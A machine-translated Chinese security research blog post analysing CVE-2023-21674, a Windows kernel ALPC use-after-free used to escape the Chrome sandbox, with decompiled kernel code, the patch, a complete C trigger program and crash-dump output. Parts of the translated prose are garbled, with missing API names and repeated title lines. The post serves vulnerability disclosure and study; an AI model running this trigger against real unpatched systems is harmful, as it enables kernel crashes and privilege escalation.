将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)


将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的第二个系列。在这篇博文中,我们将介绍我们如何通过利用 Windows 内核漏洞来逃脱 Chrome 沙盒。该漏洞名为 CVE-2023–21674,是 NTOS 内核中的释放后使用漏洞。

该漏洞是 2023 年首个 Windows 内核 In-The-Wild 漏洞。自 2023 年 1 月以来,我们的威胁情报服务 Fermium-252 既有 PoC 又有利用此漏洞的机会。

高级本地过程调用(ALPC)

高级本地过程调用 (ALPC) 是为快速消息通信而开发的进程间通信功能。它自 Windows Vista 以来一直发布,主要用于在进程之间发送和接收数据。在ALPC之前,旧的Windows NT内核使用同步进程间通信,因此服务器和客户端必须等待消息。但是,ALPC支持异步通信,因此有时称为异步LPC。

大多数ALPC API都是没有文档的,但你可以参考csandker-Blog和Garnier-Reccon2008等分析文档。

在Windows中,有许多ALPC端口;它们可以通过 列出。

ALPC 端口通常由 创建,并由其他进程通过 连接,并通过 接受客户端。建立连接后,消息将通过 传递。所以ALPC通信的整体流程如下。

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)ALPC 端口通常由 创建,并由其他进程通过 连接,并通过 接受客户端。建立连接后,消息将通过 传递。所以ALPC通信的整体流程如下。

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

您可以从这里查看简单的ALPC服务器和客户端代码

The Flag ALPC_MSGFLG_SYNC_REQUEST

该标志 ALPC_MSGFLG_SYNC_REQUEST(0x20000) 是漏洞的最重要值。从名称中可以推断出,它决定了是否同步处理ALPC消息。

要了解ALPC的消息流,让我们从 NtAlpcSendWaitReceivePort 系统调用开始。

__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, ULONG flag, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER Timeout){  ...  result = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, prev_mode, (PVOID *)&alpc_port_object, 0i64);  if ( result >= 0 )  {    ...    if ( _bittest((const int *)&flag_and, 0x11u) )// ALPC_MSGFLG_SYNC_REQUEST(0x20000)    {      if ( SendMessage )      {        // Check Some flags        if ( _bittest((const int *)&flag_and, 0x10u) )// ALPC_MSGFLG_RELEASE_MESSAGE(0x10000)        {          result = 0xC00000F0;        }        else if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000        {          result = 0xC00000F0;        }        else if ( ReceiveMessage )        {          // Both of `SendMessage` and `ReceiveMessage` must exist.          result = AlpcpProcessSynchronousRequest(                  alpc_port_object, flag_and, SendMessage, SendMessageAttributes,                  ReceiveMessage, BufferLength, ReceiveMessageAttributes, Timeout, prev_mode);        }        else        {          result = 0xC0000705;        }      }      else      {        result = 0xC00000F0;      }    }    else    {      dispatchContext.PortObject = alpc_port_object;      dispatchContext.Flags = flag_and;      if ( !SendMessage )      {        if ( ReceiveMessage )          // Receive Message via calling AlpcpReceiveMessage      }      if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000      {        result = 0xC00000F0;      }      else      {        // Send Message via calling AlpcpSendMessage      }    }  }  ...}

NtAlpcSendWaitReceivePort 从用户提供的句柄中检索 ALPC 对象 ( alpc_port_object ),并根据 flag 获取不同的分支。设置标志后,发送和接收消息都必须通过函数 AlpcpProcessSynchronousRequest 连续完成;在这种情况下,两者都 SendMessage 不应该 ReceiveMessage 是 NULL .另一方面,当未设置标志时,用户一次只能执行一项任务,根据 和 SendMessage ReceiveMessage 参数的存在发送或接收消息。

__int64 __fastcall AlpcpProcessSynchronousRequest(_ALPC_PORT *alpc_port_object, unsigned int flag_and, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER timeout, int prev_mode){  ...  /*    [1]. Check Address and Get Port Objects    ~~~ Omitted ~~~  */  if ( ConnectionPort && ObReferenceObjectSafe((__int64)ConnectionPort) )  {    u1State = alpc_port_object->u1.State;    ...    // [2].Send message    dispatchContext.PortObject = alpc_port_object;    dispatchContext.Flags = flag_and;    if ( (u1State & 0x1000) != 0 )      result = AlpcpSendLegacySynchronousRequest(alpc_port_object, &dispatchContext, SendMessage, prev_mode);    else      result = AlpcpSendMessage(&dispatchContext, SendMessage, SendMessageAttributes, prev_mode);    if ( result < 0 )      goto LABEL_95;    if ( _bittest((const int *)&flag_and, 0x14u) )    {      prevmode = 1;    }    else    {      prevmode = KeGetCurrentThread()->PrevMode;    }    RecvMesssage = 0i64;    dispatchContext.PortObject = ConnectionPort;    // [3].Receive message    result = AlpcpReceiveSynchronousReply(            &dispatchContext.PortObject,            v34,            (_KALPC_MESSAGE **)&RecvMesssage,            AllocAttr,            timeout);     // Copy the Received Data

AlpcpProcessSynchronousRequest 在验证参数 ( [1] ) 的地址后检索 ALPC 端口对象。然后,它发送ALPC消息( [2] )并通过( )同步接收响应 AlpcpReceiveSynchronousReply [3] 。

让我们来 AlpcpSendMessage 分析一下发送消息的过程。( AlpcpSendLegacySynchronousRequest 也可在内部调用 AlpcpSendMessage 。

__int64 __fastcall AlpcpSendMessage(_ALPC_DISPATCH_CONTEXT *dispatchContext, _PORT_MESSAGE *sendPortMsg, _ALPC_MESSAGE_ATTRIBUTES *sendMsgAttributes, char accessMode){  ...  // Copy the user message to `copied_sendMsg`  // [4]. Validate the message  result = AlpcpValidateMessage((unsigned __int16 *)&copied_sendMsg, flags_check);  if ( (int)result < 0 )    return result;  MessageID = copied_sendMsg.MessageId;  ...  // [5]. Get Message or Create Message  if ( MessageID )  {    dispatch_ctx_flag |= 0x10u;    result = AlpcpLookupMessage(port_obj, MessageID, copied_sendMsg.CallbackId, accessMode, &alpc_message);    ...    // Validate `alpc_message`  }  else{    ...    // nt!AlpcpAllocateMessageFunction4    object = (PSLIST_ENTRY)qword_140CEBC70(dword_140CEBC64, dword_140CEBC6C, dword_140CEBC68);    if ( !object )      return 3221225626i64;    alpc_message_ = (_KALPC_MESSAGE *)(object + 48);    ...    // Setup the Data for `alpc_message`  }   // [6]. Dispatch Message  dispatchContext->Message = alpc_message_;  dispatchContext->TotalLength = copied_sendMsg.u1.s1.TotalLength;  *(_DWORD *)&dispatchContext->Type = copied_sendMsg.u2.ZeroInit;  if ( alpc_message_->OwnerPort )  {    // The message is found by `AlpcpLookupMessage`    if ( alpc_message_->WaitingThread )      result = AlpcpDispatchReplyToWaitingThread(dispatchContext);    else      result = AlpcpDispatchReplyToPort(dispatchContext);  }  else  {    // The message is newly created    result = AlpcpDispatchNewMessage(dispatchContext);  }}

AlpcpSendMessage 首先将用户消息复制到内核内存中,并通过 AlpcpValidateMessage ( [4] ) 进行验证。如果消息有 MessageID ,则对 执行查找 MessagedID 以检索相应的消息对象。否则,将创建一个新的 ALPC 消息对象 ( [5] )。

然后,在 [6] 处,消息由 AlpcpDispatchReplyToWaitingThread 、 AlpcpDispatchReplyToPort 或 AlpcpDispatchNewMessage 处理,具体取决于消息中的字段。这些功能以类似的方式处理 ALPC_MSGFLG_SYNC_REQUEST ,而其他处理部件可能不同。

下面是 ALPC_MSGFLG_SYNC_REQUEST . 的处理程序的简化代码。

// Setup message and Insert message into QUEUE // The common routine for `ALPC_MSGFLG_SYNC_REQUEST` Flagcurthread = (struct _ETHREAD *)KeGetCurrentThread();if(flag & 0x20000 != 0) // ALPC_MSGFLG_SYNC_REQUEST{  message->WaitingThread = curthread;  _InterlockedExchange64((volatile __int64 *)&curthread->AlpcMessageId, (__int64)message);}

设置标志后 ALPC_MSGFLG_SYNC_REQUEST , WaitingThread 在消息中设置为当前线程对象, AlpcMessageId 当前线程设置为消息的地址。由于消息将同步处理,因此响应的目标线程必须是当前线程。

另一方面,如果发送的消息没有 ALPC_MSGFLG_SYNC_REQUEST 标志, WaitingThread 则初始化为 NULL 如以下代码所示。

__int64 __fastcall AlpcpDispatchReplyToWaitingThread(_ALPC_DISPATCH_CONTEXT *dispatchContext){  ...  portQueue = message->PortQueue;  if ( portQueue ){    // Remove message from port Queue  }  ...  // ALPC_MSGFLG_SYNC_REQUEST is NOT set  if ( (flags & 0x20000) == 0 )  {    message->WaitingThread = NULL;    ...  }}

发送消息后 AlpcpSendMessage , AlpcpReceiveSynchronousReply 调用( [3] )来获取响应。 [3] (位于本博客的顶部。

__int64 __fastcall AlpcpReceiveSynchronousReply(        _ALPC_DISPATCH_CONTEXT *dispatchContext,        KPROCESSOR_MODE prevmode,        _KALPC_MESSAGE **recvMsg,        int AllocatedAttributes,        PLARGE_INTEGER timeout){   CurrentThread = KeGetCurrentThread();  PortObject = dispatchContext->PortObject;  // [7]. Blocking while receiving  result = AlpcpSignalAndWait(dispatchContext, &CurrentThread->1160, WrLpcReply, prevmode, timeout, 1);  // [8]. Get Message and Nullify AlpcMessageId  message = (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&CurrentThread->AlpcMessageId, 0i64);  msgState = message->u1.State & 0xFFFFFFF8;  ...  // Check Message State  if ( result_ != NT_SUCCESS )  {    // Something ERROR    if ( message->WaitingThread == CurrentThread )    {      // [9]. Initialize the WaitingThread to NULL      message->WaitingThread = 0i64;      --WORD1(message[-1].PortMessage.DoNotUseThisField);      if ( (message->u1.State & 0x80u) != 0 )        AlpcpUnlockMessage((ULONG_PTR)message);      else        AlpcpCancelMessage(port_obj, message, 0);      return result_;    }    AlpcpWaitForSingleObject(&CurrentThread->1160, WrLpcReply, 0, 0, 0i64);    v15 = message->u1.State;    result_ = 0;  }  ...   // [10]. Check that Message is Ready  if ( _bittest((const int *)&msgState, 9u) )  {    msgAttr = (message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0) | 0x40000000;    if ( !message->MessageAttributes.View )      msgAttr = message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0;    if ( !message->MessageAttributes.HandleData )      msgAttr = msgAttr;    else      msgAttr = msgAttr | 0x10000000;    if ( (msgAttr & AllocatedAttributes) == 0 )    {      message->PortMessage.u2.s2.Type &= 0xDFFFu;      *recvMsg = message;      return result_;    }  }  ...}

AlpcpReceiveSynchronousReply 通过调用 AlpcpSignalAndWait 等待响应,并且调用线程被阻塞。当另一个进程发送消息的响应时, WaitingThread 消息的响应将根据回复进程的标志值 ( [7] ) 进行更新。如果进程回复时没有标志, ALPC_MSGFLG_SYNC_REQUEST 则 WaitingThread 消息将更改为 NULL 如上所述;否则,它将是回复线程的地址。

返回后 AlpcpSignalAndWait ,检索当前线程的消息 AlpcMessageId 对象,并将该 AlpcMessageId 字段无效 ( [8] )。如果 AlpcpSignalAndWait 由于某些原因(如超时)返回任何错误,则消息的 result will not be NT_SUCCESS 和 WaitingThread 将保持不变。在本例中, WaitingThread 消息设置为 NULL ( [9] )。

如果成功接收到消息, AlpcpReceiveSynchronousReply 则检查消息的状态并验证其属性 ( [10] )。当所有检查都通过时,将返回消息以复制到用户内存中。

总而言之,在 AlpcpReceiveSynchronousReply 函数的末尾, AlpcMessageId 当前线程将更改为 NULL ,消息 WaitingThread 将具有 或 NULL 回复线程。

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

在上述情况下, WaitingThread 如果通信完成且没有任何错误,则消息和 AlpcMessageId 当前线程都将始终 NULL 存在。

但是,让我们考虑另一种情况,其中只有 Thread1 并且在发送带有 ALPC_MSGFLG_SYNC_REQUEST set 的 ALPC 消息后立即返回。然后 WaitingThread ,消息指向当前线程。在这种情况下,如果 Thread1 被终止(即,它被释放),则 WaitingThread 消息将是一个悬空的指针,指向释放的线程对象。因此,之后取消引用它将导致释放后使用漏洞。

这是 CVE-2023–21674 的根本原因,可以从系统调用 NtWaitForWorkViaWorkerFactory 触发。

__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork){  ...  DeferredWork_ = DeferredWork;  ...  if ( (DeferredWork_.Flags & 1) != 0 )  {    sendPortMsg = DeferredWork_.AlpcSendMessage;    sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;    sendMessagePort = DeferredWork_.AlpcSendMessagePort;    memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));    sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;    ...    if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )    {      if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )      {        ...        dispatch_ctx.PortObject = alpc_port;        dispatch_ctx.Flags = sendMessageFlags_and | 4;        dispatch_ctx.TargetPort = 0i64;        dispatch_ctx.TargetThread = 0i64;        dispatch_ctx.DirectEvent.Value = 0i64;        result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)        ...}

NtWaitForWorkViaWorkerFactory 将用户提供的 DeferredWork 参数作为最后一个参数,由 _WORKER_FACTORY_DEFERRED_WORK 结构表示。

// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1217 typedef struct _WORKER_FACTORY_DEFERRED_WORK{    struct _PORT_MESSAGE *AlpcSendMessage;    PVOID AlpcSendMessagePort;    ULONG AlpcSendMessageFlags;    ULONG Flags;} WORKER_FACTORY_DEFERRED_WORK, *PWORKER_FACTORY_DEFERRED_WORK;

_WORKER_FACTORY_DEFERRED_WORK 具有指向 ALPC 消息的指针和标志。因此,我们可以通过 NtWaitForWorkViaWorkerFactory 调用 ALPC_MSGFLG_SYNC_REQUEST set 来触发漏洞。

将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)

CVE-2023–21674 补丁

__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork){  ...  DeferredWork_ = DeferredWork;  ...  if ( (DeferredWork_.Flags & 1) != 0 )  {    sendPortMsg = DeferredWork_.AlpcSendMessage;    sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;    sendMessagePort = DeferredWork_.AlpcSendMessagePort;    memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));    sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;+   if ( _bittest((const int *)&sendMessageFlags_and, 0x11u) ) // checks ALPC_MSGFLG_SYNC_REQUEST+       goto ERROR;    ...    if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )    {      if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )      {        ...        dispatch_ctx.PortObject = alpc_port;        dispatch_ctx.Flags = sendMessageFlags_and | 4;        dispatch_ctx.TargetPort = 0i64;        dispatch_ctx.TargetThread = 0i64;        dispatch_ctx.DirectEvent.Value = 0i64;        result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)        ...}

补丁非常简单。如果 AlpcSendMessageFlags 值包括 ALPC_MSGFLG_SYNC_REQUEST ,则 NtWaitForWorkViaWorkerFactory 将返回错误。

触发漏洞

要触发该漏洞,我们应该通过 NtWaitForWorkViaWorkerFactory 发送 ALPC 消息。

// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1225 NTSYSCALLAPINTSTATUSNTAPINtWaitForWorkViaWorkerFactory(    _In_ HANDLE WorkerFactoryHandle,    _Out_writes_to_(Count, *PacketsReturned) struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets,    _In_ ULONG Count,    _Out_ PULONG PacketsReturned,    _In_ struct _WORKER_FACTORY_DEFERRED_WORK* DeferredWork    );

如上面的函数定义所示,我们需要一个对象句 WorkerFactory 柄。可以通过调用 NtCreateWorkerFactory 来创建此对象。

NTSTATUS NtCreateWorkerFactory(    _Out_ PHANDLE WorkerFactoryHandleReturn,    _In_ ACCESS_MASK DesiredAccess,    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,    _In_ HANDLE CompletionPortHandle, // We need CompletionPortHandle    _In_ HANDLE WorkerProcessHandle,    _In_ PVOID StartRoutine,    _In_opt_ PVOID StartParameter,    _In_opt_ ULONG MaxThreadCount,    _In_opt_ SIZE_T StackReserve,    _In_opt_ SIZE_T StackCommit);

若要通过 NtCreateWorkerFactory 系统调用成功创建 WorkerFactory 对象,还需要 IoCompletion 对象句柄。可以通过以下方式 NtCreateIoCompletion 创建它。

NTSTATUS NtCreateIoCompletion(  OUT PHANDLE             IoCompletionHandle,  IN ACCESS_MASK          DesiredAccess,  IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,  IN ULONG

最后,我们可以创建一个如下所示 WorkerFactory 的对象。

ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);if (ntstatus != 0) {  printf("[-] NtCreateIoCompletion ERROR : %pn", ntstatus);  return -1;}printf("[+] IO_COMPLETION_HANDLE : %pn", hIoComp); ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);if (ntstatus != 0) {  printf("[-] NtCreateWorkerFactory ERROR : %pn", ntstatus);  return -1;}printf("[+] WORKER_FACTORY_HANDLE : %pn", hWorkerFactory);

接下来,我们需要一个ALPC端口句柄。 NtAlpcCreatePort 需要像 这样的 RPC ControlTest ALPC 端口名称,但我们也可以通过传递 NULL 来 ObjectAttributes 创建一个匿名端口。

RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KBserverPortAttr.Flags = 0x20000;// NtAlpcCreatePort (_Out_ PHANDLE PortHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes)ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);if (ntstatus != 0) {  printf("[-] NtAlpcCreatePort ERROR : %pn", ntstatus);  return -1;}printf("[+] ALPC_PORT : %pn", hPort);

最后,我们准备通过使用适当的参数调用 NtWaitForWorkViaWorkerFactory 系统调用来触发漏洞。

LPVOID CreateMsgMem(PPORT_MESSAGE PortMessage, SIZE_T MessageSize, LPVOID Message){  /*      It's important to understand that after the PORT_MESSAGE struct is the message data  */  LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MessageSize + sizeof(PORT_MESSAGE));  memmove(lpMem, PortMessage, sizeof(PORT_MESSAGE));  memmove((BYTE*)lpMem + sizeof(PORT_MESSAGE), Message, MessageSize);  return(lpMem);} int trigger() {  NTSTATUS ntstatus;  ULONG outlen = 0;   ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);  if (ntstatus != 0) {    printf("[-] NtCreateIoCompletion ERROR : %pn", ntstatus);    return -1;  }  printf("[+] IO_COMPLETION_HANDLE : %pn", hIoComp);   ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);  if (ntstatus != 0) {    printf("[-] NtCreateWorkerFactory ERROR : %pn", ntstatus);    return -1;  }  printf("[+] WORKER_FACTORY_HANDLE : %pn", hWorkerFactory);    PORT_MESSAGE    pmSend;  LPVOID lpMem;  ALPC_PORT_ATTRIBUTES    serverPortAttr;   RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));  serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB  serverPortAttr.Flags = 0x20000;  ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);  if (ntstatus != 0) {    printf("[-] NtAlpcCreatePort ERROR : %pn", ntstatus);    return -1;  }  printf("[+] ALPC_PORT : %pn", hPort);   piocomp = (PFILE_IO_COMPLETION_INFORMATION)malloc(0x100);  pwfdw = (PWORKER_FACTORY_DEFERRED_WORK)malloc(0x100);    RtlSecureZeroMemory(&pmSend, sizeof(pmSend));  pmSend.u1.s1.DataLength = MSG_LEN;  pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);  pmSend.MessageId = 0;  pmSend.CallbackId = 0;  lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)L"AAAAAAAAAAAAAAAAAAA");   pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;  pwfdw->AlpcSendMessagePort = hPort;  pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST  pwfdw->Flags = 0x1;   printf("[+] Trigger Vulnerabilityn");  NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);   return 0;}; int main() {  // Create Thread  DWORD threadid = 0;  HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)trigger, NULL, 0, &threadid);  //WaitForSingleObject(hthread, INFINITE);  Sleep(500);  TerminateThread(hthread, -1);  CloseHandle(hthread);   printf("[+] Close Some Handlesn");   CloseHandle(hWorkerFactory);  CloseHandle(hIoComp);   CloseHandle(hPort); // Trigger UAF}

我们调用 NtWaitForWorkViaWorkerFactory 一个单独的线程,然后通过调用 TerminateThread 和 CloseHandle 来终止线程;这些步骤将创建一个ALPC消息对象,该对象在其 WaitingThread 字段中具有悬空指针。最终,关闭端口会对 ALPC 对象执行清理,从而取消对悬空指针 (UAF) 的引用。

__int64 __fastcall AlpcpCancelMessage(_ALPC_PORT *a1, _KALPC_MESSAGE *msg, int a3){  ...  freed_thread = msg->WaitingThread;  if ( freed_thread )  {    // Freed thread is referenced here when the ALPC object is freed.    if ( (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&freed_thread->AlpcMessageId, 0i64) == msg )    {      HIWORD(msg[-1].PortMessage.8) -= 2;      msg->WaitingThread = 0i64;      KeReleaseSemaphoreEx((__int64)&freed_thread->1160, 1u, 1, v20, 2);    }  }  ...}
0: kd> gBreakpoint 0 hitnt!AlpcpCancelMessage+0x353:fffff801`4d8bc737 48878128050000  xchg    rax,qword ptr [rcx+528h] 0: kd> !object @rcxObject: ffffd38aa9d76080  Type: (ffff9901c3b7a000)    ObjectHeader: ffffd38aa9d76050 (new version)    HandleCount: 0  PointerCount: 0    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ref Count is ZERO!!!! 0: kd> !pool @rcxPool page ffffd38aa9d76080 region is Nonpaged pool*ffffd38aa9d76000 size:  700 previous size:    0  (Free ) *.... (Protected) Process: 4e48033601c30916        Owning component : Unknown (update pooltag.txt)  ==> @rcx is freed

如果验证程序在 上 ntoskrnl.exe 启用,则可以看到崩溃。

*** Fatal System Error: 0x00000050                       (0xFFFFE70E9EB60BA8,0x0000000000000002,0xFFFFF80766AC8737,0x0000000000000002) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred.Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. For analysis of this file, run !analyze -vnt!DbgBreakPointWithStatus:fffff807`6680e840 cc              int     31: kd> !analyze -vConnected to Windows 10 19041 x64 target at (Mon Jan 16 20:18:10.078 2023 (UTC + 9:00)), ptr64 TRUELoading Kernel Symbols...........................................................................................................................................................................................Loading User Symbols......Loading unloaded module list......********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ******************************************************************************** PAGE_FAULT_IN_NONPAGED_AREA (50)Invalid system memory was referenced.  This cannot be protected by try-except.Typically the address is just plain bad or it is pointing at freed memory.Arguments:Arg1: ffffe70e9eb60ba8, memory referenced.Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.    bit 1 is set if the fault was due to a write, clear if a read.    bit 3 is set if the processor decided the fault was due to a corrupted PTE.    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.Arg3: fffff80766ac8737, If non-zero, the instruction address which referenced the bad memory    address.Arg4: 0000000000000002, (reserved)... TRAP_FRAME:  ffffa701a41aa650 -- (.trap 0xffffa701a41aa650)NOTE: The trap frame does not contain all registers.Some register values may be zeroed or incorrect.rax=0000000000000000 rbx=0000000000000000 rcx=ffffe70e9eb60680rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000rip=fffff80766ac8737 rsp=ffffa701a41aa7e0 rbp=0000000000000001 r8=00000000ffffffff  r9=7fffe70e9eb667b8 r10=7ffffffffffffffcr11=ffffa701a41aa8b0 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000iopl=0         nv up ei ng nz na pe ncnt!AlpcpCancelMessage+0x353:fffff807`66ac8737 48878128050000  xchg    rax,qword ptr [rcx+528h] ds:ffffe70e`9eb60ba8=????????????????Resetting default scope STACK_TEXT:ffffa701`a41a9bf8 fffff807`669214a2     : ffffa701`a41a9d60 fffff807`66789a50 fffff807`6640c000 00000000`00000000 : nt!DbgBreakPointWithStatusffffa701`a41a9c00 fffff807`66920a86     : fffff807`00000003 ffffa701`a41a9d60 fffff807`6681c640 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12ffffa701`a41a9c60 fffff807`668053a7     : 00000000`00000000 00000000`00000000 ffffe70e`9eb60ba8 ffffe70e`9eb60ba8 : nt!KeBugCheck2+0x946ffffa701`a41aa370 fffff807`6684021d     : 00000000`00000050 ffffe70e`9eb60ba8 00000000`00000002 ffffa701`a41aa650 : nt!KeBugCheckEx+0x107ffffa701`a41aa3b0 fffff807`66645a40     : 00000000`00000000 00000000`00000002 ffffa701`a41aa6d0 00000000`00000000 : nt!MiSystemFault+0x1dc7adffffa701`a41aa4b0 fffff807`66814dd8     : ffffe70e`9e3b0000 fffff807`66702dcc ffffe70e`76b4ef80 ffffe70e`71215100 : nt!MmAccessFault+0x400ffffa701`a41aa650 fffff807`66ac8737     : ffffd70c`f67eace0 ffffd70c`00000000 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x358ffffa701`a41aa7e0 fffff807`66ac64e1     : ffffffff`00000001 ffffe70e`9e70ee20 ffffe70e`00010000 ffffe70e`9e70ee20 : nt!AlpcpCancelMessage+0x353ffffa701`a41aa860 fffff807`66ac624f     : ffffffff`ffffffff ffffe70e`9e70ee20 ffffe70e`9e70ef80 ffffe70e`79760f00 : nt!AlpcpFlushQueue+0xfdffffa701`a41aa8a0 fffff807`66ac608b     : ffffe70e`00000000 ffffffff`ffffffff ffffa701`a41aaa39 ffffe70e`9e70ef80 : nt!AlpcpFlushMessagesPort+0x27ffffa701`a41aa8e0 fffff807`66ac5fca     : ffffe70e`9e70ee20 00000000`00000000 ffffe70e`9eb66380 ffffa701`a41aaa39 : nt!AlpcpDoPortCleanup+0x8fffffa701`a41aa920 fffff807`66a101ef     : ffffd70c`f2ccd2b0 00000000`00000000 ffffd70c`00000000 ffffd70c`f2ccd2b0 : nt!AlpcpClosePort+0x4affffa701`a41aa950 fffff807`66a141cc     : 00000000`000000ac 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObCloseHandleTableEntry+0x51fffffa701`a41aaa90 fffff807`66818af5     : ffffe70e`9eb60600 ffffe70e`7f4ae680 ffffa701`a41aab80 ffffe70e`00000000 : nt!NtClose+0xecffffa701`a41aab00 00007ffb`de2ed2a4     : 00007ffb`dbfe6575 00000000`00000000 00000000`00001b04 00000204`f3f78320 : nt!KiSystemServiceCopyEnd+0x25000000a4`4bb7faf8 00007ffb`dbfe6575     : 00000000`00000000 00000000`00001b04 00000204`f3f78320 00000000`00000000 : ntdll!NtClose+0x14000000a4`4bb7fb00 00007ff7`e4fe148f     : 00007ff7`e4fe3558 00000000`00000000 000000a4`4bb7faf8 00000000`00000000 : KERNELBASE!CloseHandle+0x45

编写EXP

要利用此漏洞,我们需要找到一个使用位置 WaitingThread 。我们找到了几个,如 NtAlpcOpenSenderThread 、 NtAlpcOpenSenderProcess 、 AlpcpGetEffectiveTokenMessage 、 LpcpCopyRequestData 等。 WaitingThread ( 也用于发送消息,您可以使用该代码进行利用。但是,我们不会在此博客中介绍该部分。

__int64 __fastcall NtAlpcOpenSenderThread(        PHANDLE ThreadHandle,        HANDLE a2,        PPORT_MESSAGE a3,        bool a4,        int access_mask,        _OWORD *a6){  ...  v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);  if ( v14 < 0 )  { /* ERROR */ }  else  {    ...    waiting_thread = alpc_message->WaitingThread;    if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )    {      ObfReferenceObject(waiting_thread); // Reference      AlpcpUnlockMessage((ULONG_PTR)v17);      v14 = PsOpenThread((HANDLE *)phthread, access_mask, &object_attributes, &Source2.8, 0, PreviousMode);      DereferenceObject((PADAPTER_OBJECT)waiting_thread); // Dereference  ...}
